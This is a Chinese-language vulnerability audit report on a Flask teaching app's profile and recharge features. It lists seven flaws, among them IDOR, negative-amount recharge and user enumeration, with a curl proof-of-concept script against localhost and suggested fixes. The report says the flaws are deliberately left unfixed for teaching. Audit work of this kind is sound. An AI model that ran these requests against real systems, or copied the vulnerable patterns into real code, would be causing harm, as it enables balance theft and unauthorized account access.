

# 用户管理系统 — 第五天漏洞报告（个人中心 + 充值功能）

审计日期：2026-07-09

新增功能：/profile（个人中心）、/recharge（充值）

涉及文件：app.py、templates/profile.html、templates/base.html、templates/index.html、static/css/style.css

## 一、漏洞分类统计

| 类别     | 数量 | 严重程度分布          |
|--------|----|-----------------|
| ● 高危漏洞 | 3  | 越权访问、金额无校验、IDOR |
| ● 中危漏洞 | 2  | 输入校验缺失、精度问题     |
| ● 低危漏洞 | 2  | 频率限制缺失、信息泄露     |
| 合计     | 7  |                 |

## 二、漏洞详细清单

### ● 漏洞 1：任意金额充值（无正负校验）

**CWE**：CWE-1284（输入验证逻辑缺陷）

位置：app.py:176-191 \_update\_balance()

```
c.execute("UPDATE users SET balance = balance + ? WHERE id = ?", (amt, uid))
```

问题：amount 未做正负校验，可传入负数实现余额任意扣减。

## POC 验证：

充值 500 → 余额增加 500 ✓  
充值 -100000 → 余额减少 100000 ✓ (负数扣减成功)  
充值 -99999 → 余额无限趋近于 0 ✓

影响：攻击者可随意增删任何用户的余额，完全破坏经济系统。

---

## 🔴 漏洞 2：越权充值 (IDOR / CWE-639)

**CWE**：CWE-639 (不安全的直接对象引用)

位置：app.py:362-393 /profile 和 /recharge 路由

```
# /profile - user_id 来自 URL 参数
user_id = request.args.get("user_id")

# /recharge - user_id 来自表单隐藏字段
user_id = request.form.get("user_id")
```

问题：user\_id 不来自 session，而是来自 URL/表单参数，可任意篡改。登录用户 A 可以访问或充值用户 B 的账号。

攻击场景：

```
<!-- 页面源码中 user_id 是隐藏字段 -->
<input type="hidden" name="user_id" value="1">

<!-- 攻击者直接改 -->
<input type="hidden" name="user_id" value="2">
```

## POC 验证：

admin 登录 → /profile?user\_id=2 → 看到 alice 的资料 ✓ (越权访问)  
POST recharge → user\_id=2, amount=-100 → alice 余额被扣 ✓

---

### ● 漏洞 3：个人中心越权访问（未校验身份与 **user\_id** 匹配）

**CWE**：CWE-862（缺少授权）

位置：app.py:362-376

```
@app.route("/profile", methods=["GET"])
def profile():
    if "username" not in session:
        return redirect(url_for("login"))
    user_id = request.args.get("user_id")
    # ✗ 没有校验 session 中的 username 是否与 user_id 匹配
```

问题：只检查了"是否已登录"，没有检查"登录的是否是这个用户"。URL 改一下 **user\_id** 就看别人资料了。

攻击向量：

```
/profile?user_id=1 → admin 资料（含余额 ¥699）
/profile?user_id=2 → alice 资料（含余额 ¥100）
/profile?user_id=3 → 新注册用户的资料
```

---

### ● 漏洞 4：金额输入无类型校验

**CWE**：CWE-20（输入校验不当）

位置：app.py:387

```
amount = request.form.get("amount") # 原始字符串，无校验
```

问题：未校验 **amount** 是否为有效数字，可传入：- **NaN**、**Infinity** → 引起数据库异常 - 超大值：9999999999999999 → 余额溢出 - 浮点数：0.0001 × N 次 → 精度累积

---

## 🟡 漏洞 5：数据库中 **balance** 字段无约束

**CWE**：CWE-1287（数值范围未校验）

位置：`app.py:186`

```
c.execute("UPDATE users SET balance = balance + ? WHERE id = ?", (amt, uid))
```

问题：SQLite 的 REAL 类型无下限约束，余额可变成负数：

原余额 ¥100

充值 -100000 → 余额 -99900 

---

## 🟡 漏洞 6：无充值频率限制

**CWE**：CWE-799（速率限制缺失）

位置：`app.py:379-393`

问题：可在 1 秒内发送 N 次 POST 请求，无任何频率限制，易于被自动化脚本攻击。

---

## 🟡 漏洞 7：User ID 枚举泄露

**CWE**：CWE-203（信息泄露）

位置：`app.py:362-376`

```
if not user_info:
    return "用户不存在", 404
```

问题：可通过遍历 `user_id` 参数枚举出所有注册用户，404 响应可区分用户是否存在。

---

### 三、POC 一键验证

---

# 登录

```
curl -c /tmp/.jar -s http://127.0.0.1:5000/login > /dev/null
```

```
TK=$(curl -b /tmp/.jar -s http://127.0.0.1:5000/login | grep -oP 'value="\K[a-f0-9]
```

```
curl -b /tmp/.jar -X POST -d "_csrf_token=$TK&username=admin&password=admin123" \
  http://127.0.0.1:5000/login -c /tmp/.jar -L -o /dev/null
```

echo "1. 越权查看 alice:"

```
curl -b /tmp/.jar -s "http://127.0.0.1:5000/profile?user_id=2" \
  | grep -oP '(alice|¥[0-9,.]+)'
```

echo "2. 给 alice 充值 (越权操作) :"

```
curl -b /tmp/.jar -s -X POST http://127.0.0.1:5000/recharge \
  -F "_csrf_token=$TK" -F "user_id=2" -F "amount=5000" -o /dev/null
```

```
curl -b /tmp/.jar -s "http://127.0.0.1:5000/profile?user_id=2" \
  | grep -oP '¥[0-9,.]+'
```

echo "3. 扣减 alice 余额 (负数充值) :"

```
curl -b /tmp/.jar -s -X POST http://127.0.0.1:5000/recharge \
  -F "_csrf_token=$TK" -F "user_id=2" -F "amount=-99999" -o /dev/null
```

```
curl -b /tmp/.jar -s "http://127.0.0.1:5000/profile?user_id=2" \
  | grep -oP '¥[0-9,.]+'
```

---

### 四、修复方案

#### 修复 1 : 权限校验

```
@app.route("/recharge", methods=["POST"])
def recharge():
    _validate_csrf()
    user_id = request.form.get("user_id")
    amount = request.form.get("amount")
```

```
# 从 session 获取当前用户
current_username = session.get("username")
# 查询目标 user_id 的 username
conn = sqlite3.connect(DB_PATH)
c = conn.cursor()
c.execute("SELECT username FROM users WHERE id = ?", (user_id,))
row = c.fetchone()
conn.close()
if not row or row[0] != current_username:
    return "无权操作", 403
...
```

## 修复 2：金额正负校验

```
try:
    amount = float(amount)
    if amount <= 0:
        return "充值金额必须为正数", 400
    if not math.isfinite(amount):
        return "无效金额", 400
except ValueError:
    return "金额格式错误", 400
```

## 修复 3：频率限制

```
last_recharge = session.get("last_recharge", 0)
if time.time() - last_recharge < 2:
    return "操作过于频繁，请稍后再试", 429
session["last_recharge"] = time.time()
```

## 修复 4：余额下限约束

```
# 方案 A：应用层校验
user = _get_user_by_id(user_id)
if user["balance"] + amount < 0:
    return "余额不足", 400
```

```
# 方案 B：数据库约束 (SQLite 不支持 CHECK 表达式中的子查询)
# 在表定义中加 CHECK(balance >= 0)
```

## 五、总结

| 维度   | 数量       | 明细                            |
|------|----------|-------------------------------|
| 🔴 高危 | 3        | 金额无正负校验 · 越权充值(IDOR) · 越权访问资料 |
| 🟡 中危 | 2        | 输入无类型校验 · 余额负数约束缺失            |
| 🟠 低危 | 2        | 无频率限制 · User ID 可枚举           |
| 合计   | <b>7</b> | 全部未修复 (教学演示保留)                |

## 六、项目累计漏洞全景

| 阶段           | 日期         | 功能           | 发现漏洞      | 已修复       | 遗留              |
|--------------|------------|--------------|-----------|-----------|-----------------|
| Day 1        | 7/8        | 初始审计         | 14        | 13        | 1 (Debug回归)     |
| Day 2        | 7/8        | 搜索 + 注册(SQL) | 5         | 0         | 5 (教学保留)        |
| Day 3        | 7/9        | 头像上传         | 4         | 3         | 1 (无类型校验)       |
| <b>Day 5</b> | <b>7/9</b> | 个人中心 + 充值    | <b>7</b>  | <b>0</b>  | <b>7 (教学保留)</b> |
|              |            | 总计           | <b>30</b> | <b>16</b> | <b>14</b>       |